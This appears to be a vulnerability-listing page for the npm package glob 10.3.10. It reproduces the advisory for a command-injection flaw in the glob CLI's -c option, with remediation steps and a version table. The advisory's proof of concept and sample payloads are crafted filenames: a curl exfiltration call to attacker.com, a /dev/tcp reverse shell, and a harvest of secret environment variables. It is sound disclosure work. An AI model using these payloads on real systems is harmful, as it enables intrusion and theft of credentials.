NodeJS/glob/10.3.10
the most correct and second fastest glob implementation in JavaScript
https://www.npmjs.com/package/glob
ISC
1 Security Vulnerabilities
glob CLI: Command injection via -c/--cmd executes matches with shell:true
- https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2
- https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146
- https://nvd.nist.gov/vuln/detail/CVE-2025-64756
- https://github.com/advisories/GHSA-5j98-mcp5-4vw2
- https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow: 1. User runs glob -c <command> <pattern> 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using shell: true 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands
Affected Component: - CLI Only: The vulnerability affects only the command-line interface - Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface: - Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using glob -c on untrusted content
PoC
Setup Malicious File: ```bash mkdir testdirectory && cd testdirectory
Create file with command injection payload in filename
touch '$(touch injected_poc)' ```
Trigger Vulnerability: ```bash
Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo **/*
```
Result: - The echo command executes normally - Additionally: The $(touch injected_poc) in the filename is evaluated by the shell - A new file injected_poc is created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration: ```bash
Filename: $(curl -X POST https://attacker.com/exfil -d $(whoami):$(pwd)
> /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d $(whoami):$(pwd)
> /dev/null 2>&1)' ```
Reverse Shell: ```bash
Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ```
Environment Variable Harvesting: ```bash
Filename: $(env | grep -E (TOKEN|KEY|SECRET)
> /tmp/secrets.txt)
touch '$(env | grep -E (TOKEN|KEY|SECRET)
> /tmp/secrets.txt)' ```
Impact
Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise: - Malicious PR adds files with crafted names to repository - CI pipeline uses glob -c to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack: - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use glob -c for file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems
Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm
- Package name: glob
- Component: CLI only (
src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
- Introduced: v10.2.0 (first release with CLI containing
-c/--cmdoption) - Patched versions: 11.1.0and 10.5.0
Scope Limitation: - Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
- Upgrade to
glob@10.5.0,glob@11.1.0, or higher, as soon as possible. - If any
globCLI actions fail, then convert commands containing positional arguments, to use the--cmd-arg/-goption instead. - As a last resort, use
--shellto maintainshell:truebehavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
162 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 13.0.0 | BlueOak-1.0.0 | 2025-11-19 - 16:04 | about 1 month | |
| 12.0.0 | BlueOak-1.0.0 | 2025-11-17 - 17:10 | about 1 month | |
| 11.1.0 | BlueOak-1.0.0 | 2025-11-17 - 17:02 | about 1 month | |
| 11.0.3 | ISC | 1 | 2025-06-12 - 20:23 | 7 months |
| 11.0.2 | ISC | 1 | 2025-04-23 - 16:02 | 8 months |
| 11.0.1 | ISC | 1 | 2025-01-10 - 06:57 | 12 months |
| 11.0.0 | ISC | 1 | 2024-07-08 - 22:16 | over 1 year |
| 10.5.0 | ISC | 2025-11-18 - 01:34 | about 1 month | |
| 10.4.5 | ISC | 1 | 2024-07-09 - 08:15 | over 1 year |
| 10.4.4 | ISC | 1 | 2024-07-08 - 22:14 | over 1 year |
| 10.4.3 | ISC | 1 | 2024-07-06 - 04:04 | over 1 year |
| 10.4.2 | ISC | 1 | 2024-06-19 - 01:59 | over 1 year |
| 10.4.1 | ISC | 1 | 2024-05-24 - 06:01 | over 1 year |
| 10.4.0 | ISC | 1 | 2024-05-24 - 01:04 | over 1 year |
| 10.3.16 | ISC | 1 | 2024-05-21 - 19:14 | over 1 year |
| 10.3.15 | ISC | 1 | 2024-05-12 - 02:47 | over 1 year |
| 10.3.14 | ISC | 1 | 2024-05-09 - 14:52 | over 1 year |
| 10.3.13 | ISC | 1 | 2024-05-09 - 13:50 | over 1 year |
| 10.3.12 | ISC | 1 | 2024-03-28 - 16:13 | over 1 year |
| 10.3.11 | ISC | 1 | 2024-03-28 - 15:59 | over 1 year |
| 10.3.10 | ISC | 1 | 2023-09-27 - 05:59 | about 2 years |
| 10.3.9 | ISC | 1 | 2023-09-26 - 07:22 | about 2 years |
| 10.3.8 | ISC | 1 | 2023-09-26 - 06:10 | about 2 years |
| 10.3.7 | ISC | 1 | 2023-09-24 - 21:53 | over 2 years |
| 10.3.6 | ISC | 1 | 2023-09-23 - 00:52 | over 2 years |
| 10.3.5 | ISC | 1 | 2023-09-20 - 23:03 | over 2 years |
| 10.3.4 | ISC | 1 | 2023-08-30 - 22:45 | over 2 years |
| 10.3.3 | ISC | 1 | 2023-07-08 - 21:38 | over 2 years |
| 10.3.2 | ISC | 1 | 2023-07-08 - 00:18 | over 2 years |
| 10.3.1 | ISC | 1 | 2023-06-27 - 23:02 | over 2 years |
| 10.3.0 | ISC | 1 | 2023-06-21 - 19:07 | over 2 years |
| 10.2.7 | ISC | 1 | 2023-06-06 - 19:08 | over 2 years |
| 10.2.6 | ISC | 1 | 2023-05-20 - 20:55 | over 2 years |
| 10.2.5 | ISC | 1 | 2023-05-17 - 21:25 | over 2 years |
| 10.2.4 | ISC | 1 | 2023-05-15 - 04:45 | over 2 years |
| 10.2.3 | ISC | 1 | 2023-05-09 - 23:12 | over 2 years |
| 10.2.2 | ISC | 1 | 2023-04-23 - 00:34 | over 2 years |
| 10.2.1 | ISC | 1 | 2023-04-17 - 22:21 | over 2 years |
| 10.2.0 | ISC | 1 | 2023-04-17 - 22:20 | over 2 years |
| 10.1.0 | ISC | 2023-04-14 - 23:16 | over 2 years | |
| 10.0.0 | ISC | 2023-04-09 - 22:26 | over 2 years | |
| 9.3.5 | ISC | 2023-04-09 - 20:30 | over 2 years | |
| 9.3.4 | ISC | 2023-04-02 - 03:44 | over 2 years | |
| 9.3.3 | ISC | 2023-04-02 - 03:37 | over 2 years | |
| 9.3.2 | ISC | 2023-03-22 - 18:49 | almost 3 years | |
| 9.3.1 | ISC | 2023-03-21 - 00:02 | almost 3 years | |
| 9.3.0 | ISC | 2023-03-14 - 13:03 | almost 3 years | |
| 9.2.1 | ISC | 2023-03-03 - 00:40 | almost 3 years | |
| 9.2.0 | ISC | 2023-03-02 - 23:04 | almost 3 years | |
| 9.1.2 | ISC | 2023-03-01 - 19:07 | almost 3 years |
